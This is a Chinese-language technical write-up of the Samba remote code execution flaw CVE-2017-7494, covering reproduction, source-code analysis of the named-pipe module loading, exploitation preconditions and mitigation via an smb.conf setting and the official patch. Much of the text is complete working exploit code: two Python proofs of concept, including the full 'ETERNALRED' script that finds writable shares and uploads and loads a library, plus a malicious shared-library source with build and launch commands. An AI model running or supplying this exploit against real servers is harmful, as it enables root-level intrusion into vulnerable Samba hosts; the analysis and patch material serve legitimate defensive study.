catalogue
1. 漏洞复现 2. 漏洞代码原理分析 3. 漏洞利用前提 4. 临时缓解 && 修复手段
1. 漏洞复现
1. SMB登录上去 2. 枚举共享目录，得到共享目录/文件列表，匿名IPC$将会被跳过 3. 从中过滤目录，检测是否可写(通过创建一个.txt方式实现) 4. 生成一个随机8位的so文件名，并将paylaod写入so中 5. 最后一步，连接到\192.168.206.128\IPC$，在smb登录状态下，创建/打开一个named pipe
0x1: POC1
# -*- coding: utf-8 -*- # AUTHOR: zhenghan.zh # RELEASE TIME: 2017/05/25 # LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb # DESCRIPTION: 如果黑客可以对samba某个目录具备写权限，可以向其中写入一个包含samba_init_module()导出函数的so文件，并且向samba服务器通过IPC named pipe的形式请求这个so文件， # 由于对路径中的斜杠处理不当，samba会加载并执行这个so文件中的samba_init_module()代码逻辑 from optparse import OptionParser from impacket.dcerpc.v5 import transport def main(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="target ip address") parser.add_option("-m", "--module", dest="module", help="module path on target server") (options, args) = parser.parse_args() if options.target and options.module: stringbinding = r'ncacn_np:%s[pipe\%s]' % (options.target, options.module) rpctransport = transport.DCERPCTransportFactory(stringbinding) dce = rpctransport.get_dce_rpc() dce.connect() else: parser.print_help() if __name__ == "__main__": main()
0x2: POC2
#! /usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo <knownsteelo@gmail.com> # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + struct.pack('<I', call_id) + binascii.unhexlify(b""" b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00 01 00 00 00 """.replace(b' ', b'').replace(b' ', b'')) m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0)) m.tid = create_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid) messages_history.append(m) else: errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs): messages_history.append(trans_message) if trans_message.status == 0: m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0)) m.tid = trans_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: call_id = self._getNextRPCCallID() padding = b'' remote_name = '\\' + self.remote_name server_len = len(remote_name) + 1 server_bytes_len = server_len * 2 if server_len % 2 != 0: padding = b' ' server_bytes_len += 2 # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + struct.pack('<III', server_len, 0, server_len) + (remote_name + ' ').encode('UTF-16LE') + padding + binascii.unhexlify(b""" 02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 """.replace(b' ', b'').replace(b' ', b'')) m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes)) m.tid = read_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint') def listShareResultsCB(result_message, **kwargs): messages_history.append(result_message) if result_message.status == 0: # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. data_bytes = result_message.payload.out_data if data_bytes[3] & 0x02 == 0: sendReadRequest(result_message.tid, kwargs['fid'], data_bytes) else: decodeResults(result_message.tid, kwargs['fid'], data_bytes) elif result_message.status == 0x0103: # STATUS_PENDING self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) else: closeFid(result_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def decodeResults(tid, fid, data_bytes): shares_count = struct.unpack('<I', data_bytes[36:40])[0] results = [ ] # A list of SharedDevice2 instances offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants for i in range(0, shares_count): results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None)) offset += 12 for i in range(0, shares_count): max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) closeFid(tid, fid) callback(results) def sendReadRequest(tid, fid, data_bytes): read_count = min(4280, self.max_read_size) m = SMB2Message(SMB2ReadRequest(fid, 0, read_count)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, data_bytes = data_bytes) def readCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: data_len = read_message.payload.data_length data_bytes = read_message.payload.data if data_bytes[3] & 0x02 == 0: sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def closeFid(tid, fid, results = None, error = None): m = SMB2Message(SMB2CloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error) messages_history.append(m) def closeCB(close_message, **kwargs): if kwargs['results'] is not None: callback(kwargs['results']) elif kwargs['error'] is not None: errback(OperationFailure(kwargs['error'], messages_history)) if path not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if connect_message.status == 0: self.connected_trees[path] = connect_message.tid connectSrvSvc(connect_message.tid) else: errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history)) m = SMB2Message(SMB2TreeConnectRequest(r'\%s\%s' % ( self.remote_name.upper(), path ))) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path) messages_history.append(m) else: connectSrvSvc(self.connected_trees[path]) # Don't convert to Window style path def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') messages_history = [ ] def sendOpen(tid): m = SMBMessage(ComOpenAndxRequest(filename = path, access_mode = 0x0040, # Sharing mode: Deny nothing to others open_mode = 0x0001, # Failed if file does not exist search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM, timeout = timeout * 1000)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback) messages_history.append(m) def openCB(open_message, **kwargs): messages_history.append(open_message) if not open_message.status.hasError: if max_length == 0: closeFid(open_message.tid, open_message.payload.fid) callback(( file_obj, open_message.payload.file_attributes, 0 )) else: sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history)) def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len): read_count = self.max_raw_size - 2 m = SMBMessage(ComReadAndxRequest(fid = fid, offset = offset, max_return_bytes_count = read_count, min_return_bytes_count = min(0xFFFF, read_count))) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes, read_len = read_len, remaining_len = remaining_len) def readCB(read_message, **kwargs): # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history. if not read_message.status.hasError: read_len = kwargs['read_len'] remaining_len = kwargs['remaining_len'] data_len = read_message.payload.data_length if max_length > 0: if data_len > remaining_len: file_obj.write(read_message.payload.data[:remaining_len]) read_len += remaining_len remaining_len = 0 else: file_obj.write(read_message.payload.data) remaining_len -= data_len read_len += data_len else: file_obj.write(read_message.payload.data) read_len += data_len if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2): closeFid(read_message.tid, kwargs['fid']) callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements else: sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len) else: messages_history.append(read_message) closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history)) def closeFid(tid, fid): m = SMBMessage(ComCloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) messages_history.append(m) if service_name not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if not connect_message.status.hasError: self.connected_trees[service_name] = connect_message.tid sendOpen(connect_message.tid) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history)) m = SMBMessage(ComTreeConnectAndxRequest(r'\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, '')) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name) messages_history.append(m) else: sendOpen(self.connected_trees[service_name]) def get_connection(user, password, server, port, force_smb1=False): if force_smb1: smb_structs.SUPPORT_SMB2 = False conn = SMBConnectionEx(user, password, "", "server") assert conn.connect(server, port) return conn def get_share_info(conn): conn.hook_listShares() return conn.listShares() def find_writeable_share(conn, shares): print("[+] Searching for writable share") filename = "red" test_file = tempfile.TemporaryFile() for share in shares: try: # If it's not writeable this will throw conn.storeFile(share.name, filename, test_file) conn.deleteFiles(share.name, filename) print("[+] Found writeable share: " + share.name) return share except: pass return None def write_payload(conn, share, payload, payload_name): with open(payload, "rb") as fin: conn.storeFile(share.name, payload_name, fin) return True def convert_share_path(share): path = share.path[2:] path = path.replace("\", "/") return path def load_payload(user, password, server, port, fullpath): conn = get_connection(user, password, server, port, force_smb1 = True) conn.hook_retrieveFile() print("[+] Attempting to load payload") temp_file = tempfile.TemporaryFile() try: conn.retrieveFile("IPC$", "\\PIPE\" + fullpath, temp_file) except: pass return def drop_payload(user, password, server, port, payload): payload_name = "charizard" conn = get_connection(user, password, server, port) shares = get_share_info(conn) share = find_writeable_share(conn, shares) if share is None: print("[!] No writeable shares on " + server + " for user: " + user) sys.exit(-1) if not write_payload(conn, share, payload, payload_name): print("[!] Failed to write payload: " + str(payload) + " to server") sys.exit(-1) conn.close() fullpath = convert_share_path(share) return os.path.join(fullpath, payload_name) def main(): parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description= """Eternal Red Samba Exploit -- CVE-2017-7494 Causes vulnerable Samba server to load a shared library in root context Credentials are not required if the server has a guest account For remote exploit you must have write permissions to at least one share Eternal Red will scan the Samba server for shares it can write to It will also determine the fullpath of the remote share For local exploit provide the full path to your shared library to load Your shared library should look something like this extern bool change_to_root_user(void); int samba_init_module(void) { change_to_root_user(); /* Do what thou wilt */ } """) parser.add_argument("payload", help="path to shared library to load", type=str) parser.add_argument("server", help="Server to target", type=str) parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int) parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str) parser.add_argument("--password", help="Password for user default is empty", type=str) parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool) args = parser.parse_args() if not os.path.isfile(args.payload): print("[!] Unable to open: " + args.payload) sys.exit(-1) port = 445 user = "nobody" password = "" fullpath = "" if args.port: port = args.port if args.username: user = args.username if args.password: password = args.password if args.local: fullpath = args.payload else: fullpath = drop_payload(user, password, args.server, port, args.payload) load_payload(user, password, args.server, port, fullpath) if __name__ == "__main__": main()
0x3: so code
#include <stdio.h> #include <stdlib.h> int samba_init_module(){ printf("Hi Samba. from: Fuck"); system("id > /home/samba/Fuck.txt"); return 0; } gcc -fPIC -shared samba_hack.c -o samba_hack.so /home/samba/samba_hack.so python exploit.py -t 192.168.206.128 -m /home/samba/samba_hack.so
Relevant Link:
https://www.exploit-db.com/exploits/42060/ https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb https://www.seebug.org/vuldb/ssvid-93139#0-tsina-1-55374-397232819ff9a47a7b7e80a40613cfe1 https://www.theregister.co.uk/2017/05/25/fatthumbed_dev_slashes_samba_security/
2. 漏洞代码原理分析
MSF发送的最核心payload本质上一个SMB数据包，即通过SMB协议打开一个named pipe文件
# Returns a SMB_CREATE_RES response for a given named pipe def create_pipe(filename, disposition = 1, impersonation = 2) self.create(filename) end # Creates a file or opens an existing pipe def create(filename, disposition = 1, impersonation = 2, do_recv = true) pkt = CONST::SMB_CREATE_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 if self.require_signing #ascii pkt['Payload']['SMB'].v['Flags2'] = 0x2807 else #ascii pkt['Payload']['SMB'].v['Flags2'] = 0x2801 end pkt['Payload']['SMB'].v['WordCount'] = 24 pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['FileNameLen'] = filename.length pkt['Payload'].v['CreateFlags'] = 0x16 pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed pkt['Payload'].v['ShareAccess'] = 7 pkt['Payload'].v['CreateOptions'] = 0 pkt['Payload'].v['Impersonation'] = impersonation pkt['Payload'].v['Disposition'] = disposition pkt['Payload'].v['Payload'] = filename + "x00" ret = self.smb_send(pkt.to_s) return ret if not do_recv ack = self.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX) # Save off the FileID if (ack['Payload'].v['FileID'] > 0) self.last_file_id = ack['Payload'].v['FileID'] end return ack end
SMB_COM_NT_CREATE_ANDX是SMB支持的一个Command协议类型，关于SMB协议，请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/6916326.html
这个数据包到达Linux Samba服务器后，会触发named pipe解析流程
samba-3.5.0source3 pc_serversrc_pipe.c
/** * Is a named pipe known? * @param[in] cli_filename The pipe name requested by the client * @result Do we want to serve this? */ bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax) { const char *pipename = cli_filename; int i; NTSTATUS status; // 传进来的payload是PIPEpathxx.so这种路径，需要把PIPE头部去掉 if (strnequal(pipename, "\PIPE\", 6)) { pipename += 5; } if (*pipename == '\') { pipename += 1; } if (lp_disable_spoolss() && strequal(pipename, "spoolss")) { DEBUG(10, ("refusing spoolss access ")); return false; } for (i=0; i<rpc_lookup_size; i++) { if (strequal(pipename, rpc_lookup[i].pipe.clnt)) { *syntax = rpc_lookup[i].rpc_interface; return true; } } // 这里把传入的pipename传入smb_probe_module()进行解析: \192.168.206.128\IPC$homesambasamba_hack.so status = smb_probe_module("rpc", pipename); if (!NT_STATUS_IS_OK(status)) { DEBUG(10, ("is_known_pipename: %s unknown ", cli_filename)); return false; } DEBUG(10, ("is_known_pipename: %s loaded dynamically ", pipename)); /* * Scan the list again for the interface id */ for (i=0; i<rpc_lookup_size; i++) { if (strequal(pipename, rpc_lookup[i].pipe.clnt)) { *syntax = rpc_lookup[i].rpc_interface; return true; } } DEBUG(10, ("is_known_pipename: pipe %s did not register itself! ", pipename)); return false; }
在这里可以看到 pipename ，这个是管道名，需要利用这个管道名是恶意共享库so文件参数，比如homesambasamba_hack.so , 这个参数在传递进 smb_probe_module 里，跟进下这个函数
samba-3.5.0source3libmodule.c
NTSTATUS smb_probe_module(const char *subsystem, const char *module) { char *full_path = NULL; TALLOC_CTX *ctx = talloc_stackframe(); NTSTATUS status; /* Check for absolute path */ /* if we make any 'samba multibyte string' calls here, we break for loading string modules */ DEBUG(5, ("Probing module '%s' ", module)); // 如果传入的是一个据对路径，在继续传入do_smb_load_module if (module[0] == '/') { status = do_smb_load_module(module, True); TALLOC_FREE(ctx); return status; } full_path = talloc_asprintf(ctx, "%s/%s.%s", modules_path(subsystem), module, shlib_ext()); if (!full_path) { TALLOC_FREE(ctx); return NT_STATUS_NO_MEMORY; } DEBUG(5, ("Probing module '%s': Trying to load from %s ", module, full_path)); status = do_smb_load_module(full_path, True); TALLOC_FREE(ctx); return status; }
继续跟进do_smb_load_module()
static NTSTATUS do_smb_load_module(const char *module_name, bool is_probe) { void *handle; init_module_function *init; NTSTATUS status; const char *error; /* Always try to use LAZY symbol resolving; if the plugin has * backwards compatibility, there might be symbols in the * plugin referencing to old (removed) functions */ handle = dlopen(module_name, RTLD_LAZY); /* This call should reset any possible non-fatal errors that occured since last call to dl* functions */ error = dlerror(); if(!handle) { int level = is_probe ? 3 : 0; DEBUG(level, ("Error loading module '%s': %s ", module_name, error ? error : "")); return NT_STATUS_UNSUCCESSFUL; } // 动态加载so，并调用了init_samba_module init = (init_module_function *)dlsym(handle, "init_samba_module"); /* we must check dlerror() to determine if it worked, because dlsym() can validly return NULL */ error = dlerror(); if (error) { DEBUG(0, ("Error trying to resolve symbol 'init_samba_module' " "in %s: %s ", module_name, error)); dlclose(handle); return NT_STATUS_UNSUCCESSFUL; } DEBUG(2, ("Module '%s' loaded ", module_name)); status = init(); if (!NT_STATUS_IS_OK(status)) { DEBUG(0, ("Module '%s' initialization failed: %s ", module_name, get_friendly_nt_error_msg(status))); dlclose(handle); } return status; }
可以看到把管道名传递进入到 dlopen 函数也就是打开恶意构造的共享库文件，接着把句柄给了 dlsym 加载SAMBA_INIT_MODULE,也就是说恶意共享库的功能要写入到 Samba 初始化函数里才能被加载，这样就触发了恶意构造的函数功能。看到这里，不免心理产生一个疑问，这个漏洞看起来是samba提供的一个"正常功能"，似乎就是专门用来加载samba so模块并执行的，我么接下来分析下samba提供这个功能的本意是什么
0x1: samba module
samba提供了一套module system机制，它提供了samba功能扩展的灵活性
1. Transparent loading of static and shared modules (no need for a subsystem to know about modules) 2. Simple selection between shared and static modules at configure time 3. "preload modules" option for increasing performance for stable modules 4. No nasty #define stuff anymore 5. All backends are available as plugin now (including pdb_ldap and pdb_tdb)
1. Loading modules
Some subsystems in samba use different backends. These backends can be either statically linked in to samba or available as a plugin. A subsystem should have a function that allows a module to register itself. For example, the passdb subsystem has:
NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function init);
This function will be called by the initialisation function of the module to register itself.
2. Static modules
The modules system compiles a list of initialisation functions for the static modules of each subsystem. This is a define. For example, it is here currently (from include/config.h):
/* Static init functions */ #define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();} These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first used.
3. Shared modules
If a subsystem needs a certain backend, it should check if it has already been registered. If the backend hasn't been registered already, the subsystem should call smb_probe_module(char *subsystem, char *backend). This function tries to load the correct module from a certain path ($LIBDIR/subsystem/backend.so). If the first character in 'backend' is a slash, smb_probe_module() tries to load the module from the absolute path specified in 'backend'.
After smb_probe_module() has been executed, the subsystem should check again if the module has been registered.
0x2: RPC Pluggable Modules
回到这次漏洞的主角，RPC subsystem，This architecture was added to increase the maintainability of Samba allowing RPC Pipes to be worked on separately from the main CVS branch. The RPM architecture will also allow third-party vendors to add functionality to Samba through plug-ins.
Samba在3.0之后增加了RPC方式为Samba server增加功能扩展插件(so)的能力
When an RPC call is sent to smbd, smbd tries to load a shared library by the name librpc_<pipename>.so to handle the call if it doesn't know how to handle the call internally. For instance, LSA calls are handled by librpc_lsass.so.. These shared libraries should be located in the <sambaroot>/lib/rpc. smbd then attempts to call the init_module function within the shared library
Relevant Link:
http://paper.seebug.org/307/#0-tsina-1-33359-397232819ff9a47a7b7e80a40613cfe1 http://blogs.360.cn/blog/samba%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9Ecve-2017-7494%E5%88%86%E6%9E%90/ http://www.freebuf.com/vuls/135624.html https://www.samba.org/samba/docs/man/Samba-Developers-Guide/modules.html https://www.samba.org/samba/docs/man/Samba-Developers-Guide/rpc-plugin.html https://www.samba.org/samba/docs/man/Samba-Developers-Guide/
3. 漏洞利用前提
该漏洞的稳定性和适用性不高，原因是有很多前提限制
1. 需要能登录对方SMB服务器 1) 如果对方是share模式，则直接匿名登录 2) 如果对方是user模式，则需要知道帐号密码 2. 需要该登录的帐号具有Samba共享目录的写入权限，应为用于执行执行的so文件需要上传到SMB共享目录中 3. 需要暴力猜解写入目录的绝对路径，该漏洞利用的是SMB的SMB_COM_NT_CREATE_ANDX指令，该指令要求我们传入so在目标机器上的据对物理路径
Relevant Link:
http://www.sohu.com/a/143887827_332887
4. 临时缓解 && 修复手段
0x1: 通过修改配置文件临时关闭相关功能
smb.conf [global] nt pipesupport = no 重启samba服务 service smb restart #Or /etc/init.d/smb restart
0x2: samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
diff --git a/source3/rpc_server/srv_pipe.c b/source3/rpc_server/srv_pipe.c index 0633b5f..c3f0cd8 100644 --- a/source3/rpc_server/srv_pipe.c +++ b/source3/rpc_server/srv_pipe.c @@ -475,6 +475,11 @@ bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) { NTSTATUS status; + if (strchr(pipename, '/')) { + DEBUG(1, ("Refusing open on pipe %s ", pipename)); + return false; + } + if (lp_disable_spoolss() && strequal(pipename, "spoolss")) { DEBUG(10, ("refusing spoolss access ")); return false;
samba禁止传入据对路径的so路径，因为正常来说，samba只接收<sambaroot>/lib/rpc/xxx.so这种路径
Relevant Link:
http://www.sohu.com/a/143887827_332887
https://download.samba.org/pub/samba/patches/security/samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
https://www.samba.org/samba/history/security.html
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